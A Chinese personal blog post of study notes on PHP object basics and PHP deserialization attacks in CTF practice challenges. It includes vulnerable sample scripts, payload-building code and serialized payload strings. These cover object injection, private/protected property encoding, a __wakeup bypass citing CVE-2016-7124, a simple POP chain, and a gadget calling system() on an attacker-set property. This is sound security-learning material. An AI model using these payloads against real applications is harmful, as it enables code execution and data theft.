AzazelKanna

Bilibili

公告

Ciallo～(∠・ω< )⌒★欢迎光临我的小站！如果你在访问phhtq.top,请注意那是一个该死的镜像网站

Learn More

标签

AzazelKanna

Bilibili

公告

Ciallo～(∠・ω< )⌒★欢迎光临我的小站！如果你在访问phhtq.top,请注意那是一个该死的镜像网站

Learn More

标签

Blogging Customization ISCC Mizuki RCE Reverse SSTI Vulnhub web综合安全运维提示词注入数据安全比赛记录

AzazelKanna

Bilibili

公告

Ciallo～(∠・ω< )⌒★欢迎光临我的小站！如果你在访问phhtq.top,请注意那是一个该死的镜像网站

Learn More

标签

Blogging Customization ISCC Mizuki RCE Reverse SSTI Vulnhub web综合安全运维提示词注入数据安全比赛记录

站点统计

文章

14

分类

6

标签

14

总字数

24,854

运行天数

0 天

最后活动

0 天前

617 字

2 分钟

什么?26年还在学古法吗

2026-06-19

记录

最近AI用多了还得是回归古法

这篇博客记录一下最近重学(以前学的不熟)的东西

会持续更新。。。写到哪算到哪最近还是很累的

Web#

反序列化#

以前做题时候看过的博客:深度剖析PHP序列化和反序列化 - 悠悠uusama - 博客园写的挺好的

1.PHP面向对象基础#

1
<?php
2

3
#类 - 实例
4
#class sample 就像一个模板
5
#模板上画好了三个空位：name、sex、telenumber
6
class sample{
7
    #属性 访问修饰符+属性名
8
    public $name; #public：谁都能直接看、直接改
9
    private $sex; #private：#只有自己才能碰，外部和子类都不能直接访问
10
    protected $telenumber; #protected：自己和自己的子类能碰
11

12
    #函数
13
    public function Ciallo(){
14
        echo "uzcssw" . $this->name;
15
    }
16
    #Ciallo() 就是一个 动作：把字符串 "uzcssw" 和当前这个人的名字拼在一起输出。
17

18
    #魔术
19
    #构造函数 出生就自动填好的信息 自动化触发
20
    public function __construct($n, $s, $t)
21
    {
22
        $this->name = "$n";
23
        $this->sex = $s;
24
        $this->telenumber = $t;
25
    }
26

27

28
    #析构函数 销毁前说的最后一句话
29
    #实例回收/销毁时候自动调用 (page执行结束时候)
30
    public function __destruct()
31
    {
32
      echo "ciallo...";
33
    }
34
    #当一个对象不再使用（比如脚本结束）时，会自动说一句 "ciallo..."。
35
}
36

37
#继承
38
class sample1 extends sample{
39
    public function accessCiallo(){
40
        echo $this->telenumber;
41
    }
42
#sample1 extends sample 意思是 sample1 是 sample 的“儿子”
43
#它拥有老爸的所有东西：name、sex、telenumber、Ciallo()、__construct、__destruct
44
}
45

46
#实例-(容纳具体信息的类)
47
$test = new sample("UZC1", "男", "13800138000"); #实例化
48
$test->name = "UZC1"; # 访问+修改内容
49
$test->Ciallo(); #调用
50
$s1 = new sample1("UZC2", "女", "13912345678");
51
$s1->Ciallo();                    // 输出 uzcsswUZC2
52
$s1->accessCiallo();             // 输出 13912345678 （可访问 protected 属性）
53
>

2.序列化和反序列化#

序列化 = 把对象打包成字符串，方便存储和传输。
反序列化 = 把字符串还原成活的对象。

序列化#

1
// 原来的对象
2
$test = new sample("UZC1", "男", "13800138000");
3

4
// 序列化：变成字符串
5
$str = serialize($test);
6
echo $str;

运行后会输出类似这样的字符串：

1
O:6:"sample":3:{s:4:"name";s:4:"UZC1";s:8:"sample sex";s:3:"男";s:16:"sample telenumber";s:11:"13800138000";}

O:6:"sample" — 对象（O），类名6个字符 sample
3 — 3 个属性
接着是每个属性的序列化：
- s:4:"name"; 属性名是长度4的字符串 name
- s:4:"UZC1"; 属性值是 UZC1
- 对于 private 属性 $sex，名字会被加上类名前缀（这里显示 sample sex）
- protected 属性 $telenumber 则会加 * 和类名前缀

注意：虽然 private 和 protected 在类外不能直接访问，但序列化时它们的值照样会被存进去，并且能从字符串里看到。所以敏感信息要小心！

反序列化#

1
// 假设我们拿到了上面的序列化字符串
2
$str = 'O:6:"sample":3:{s:4:"name";s:4:"UZC1";s:8:"sample sex";s:3:"男";s:16:"sample telenumber";s:11:"13800138000";}';
3
$newObj = unserialize($str);
4

5
// 现在 $newObj 就是个活的对象，和刚才的 $test 一样
6
$newObj->Ciallo();        // 输出 uzcsswUZC1
7
echo $newObj->name;       // UZC1

再偏CTF一点#

CTF 中通常会故意在魔术方法里放一个危险操作，比如 eval()、system()、file_get_contents() 等，并且这个危险操作会用到对象的某个属性。

比如:

1
class sample{
2
    public $name;
3
    private $sex;
4
    protected $telenumber;
5

6
    public function __destruct(){
7
        system($this->name);   //这里直接执行了 $name 作为系统命令
8
    }
9
}

正常你 new sample("UZC1", "男", "13333333333") 是通过构造参数赋值的，$name 是 "UZC1"。但通过反序列化，可以把 $name 直接改成 “whoami” 甚至 “cat /flag”，而且根本不需要通过构造函数。

操作就是：

写一个恶意的序列化字符串
让目标程序去 unserialize 它
当这个被污染的对象销毁时，__destruct 执行 system("cat /flag")

最基础的反序列化例题:#

1
<?php
2
highlight_file(__FILE__);
3

4
class NSS {
5
    var $name;
6

7
    function __destruct() {
8
        if ($this->name === 'ctf') {
9
            echo getenv('FLAG');
10
        }
11
    }
12
}
13

14
unserialize($_GET['n']);

name的值=ctf就可以拿到flag

1
<?php
2
highlight_file(__FILE__);
3

4
class NSS {
5
    var $name;
6

7
    function __destruct() {
8
        if ($this->name === 'ctf') {
9
            echo getenv('FLAG');
10
        }
11
    }
12
}
13

14
$nss= new NSS();
15
$nss->name='ctf';
16
echo serialize($nss);

payload:

1
?n=O:3:"NSS":1:{s:4:"name";s:3:"ctf";}

属性修饰符#

1
<?php
2
highlight_file(__FILE__);
3

4
class NSS {
5
    private $name;
6
    protected $url;
7

8
    function __destruct() {
9
        if ($this->name === 'ctf' && $this->url === 'nss') {
10
            echo getenv('FLAG');
11
        }
12
    }
13
}
14

15
unserialize($_GET['n']);

反序列化:

1
<?php
2
highlight_file(__FILE__);
3

4
class NSS {
5
    private $name = 'ctf';
6
    protected $url = 'nss';
7

8
}
9

10
$nss= new NSS();
11
echo serialize($nss);

payload

1
O:3:"NSS":2:{s:9:"\0NSS\0name";s:3:"ctf";s:6:"\0*\0url";s:3:"nss";}
2
注意不能丢\0
3
只用 serialize() 而没有用 urlencode() 保护，传输过程中可能丢失。
4
所以可以换种写法
5
<?php
6

7
class NSS
8
{
9
    private $name = 'ctf';
10
    protected $url = 'nss';
11
}
12

13
$nss= new NSS();
14
echo urlencode(serialize($nss));
15

16
这样就会输出urlencode后的payload：O%3A3%3A%22NSS%22%3A2%3A%7Bs%3A9%3A%22%00NSS%00name%22%3Bs%3A3%3A%22ctf%22%3Bs%3A6%3A%22%00%2A%00url%22%3Bs%3A3%3A%22nss%22%3B%7D

拿到flag

__wakeup#

1
<?php
2
highlight_file(__FILE__);
3

4
class NSS {
5
    var $name;
6

7
    function __wakeup() {
8
        $this->name = '1';
9
    }
10

11
    function __destruct() {
12
        if ($this->name === 'ctf') {
13
            echo getenv('FLAG');
14
        }
15
    }
16
}
17

18
unserialize($_GET['n']);

构造

1
<?php
2

3
class NSS {
4
    var $name='ctf';
5
}
6

7
$nss= new NSS();
8
echo serialize($nss);

这样运行出来结果是:

1
O:3:"NSS":1:{s:4:"name";s:3:"ctf";}

想要绕过__wakeup只需要把

O:3:"NSS":1:{s:4:"name";s:3:"ctf";} 改成O:3:"NSS":2:{s:4:"name";s:3:"ctf";}

原理是CVE-2016-7124

拿到flag NSSCTF{2b7bf434-b859-43cb-9b2d-d3286c20d3fa}

POP链#

1
<?php
2
highlight_file(__FILE__);
3

4
class NSS1 {
5
    var $name;
6

7
    function __destruct() {
8
        echo $this->name;
9
    }
10
}
11

12
class NSS2 {
13
    var $name;
14

15
    function __toString()
16
    {
17
        echo getenv('FLAG');
18
    }
19
}
20

21
unserialize($_GET['n']);

构造:

1
<?php
2

3
class NSS1 {
4
    var $name;
5
}
6

7
class NSS2 {
8
    var $name;
9
}
10

11
$a = new NSS1();
12
$b = new NSS2();
13
$a->name= $b;
14
echo serialize($a);

输出payload:

1
O:4:"NSS1":1:{s:4:"name";O:4:"NSS2":1:{s:4:"name";N;}}

拿到flag{4b223dc5-fe7e-4b0a-9765-6f3fb2f9560c}

在这个题里：

NSS1 的 __destruct 有 echo $this->name，如果 name 是普通字符串，它只是输出字符串；但如果 name 是一个 NSS2 对象，那么 echo 就会触发 NSS2 的 __toString()，从而执行 getenv('FLAG')。
所以必须让 $a->name = $b，将 NSS2 对象装入 NSS1 对象，形成链条。

Misc#

图片隐写#

等待施工

音频隐写#

等待施工

如果这篇文章对你有帮助，欢迎分享给更多人！

什么?26年还在学古法吗

http://blog.azkanna.cn/posts/古法/古法记录/

作者

AzazelKanna

发布于

2026-06-19

许可协议

CC BY-NC-SA 4.0

部分信息可能已经过时

记一次技能大赛带来的感悟

2026LitCTF Writeup

AzKanna的小站

Web#

反序列化#

1.PHP面向对象基础#

2.序列化和反序列化#

序列化#

反序列化#

再偏CTF一点#

最基础的反序列化例题:#

属性修饰符#

__wakeup#

POP链#

Misc#

图片隐写#

音频隐写#

目录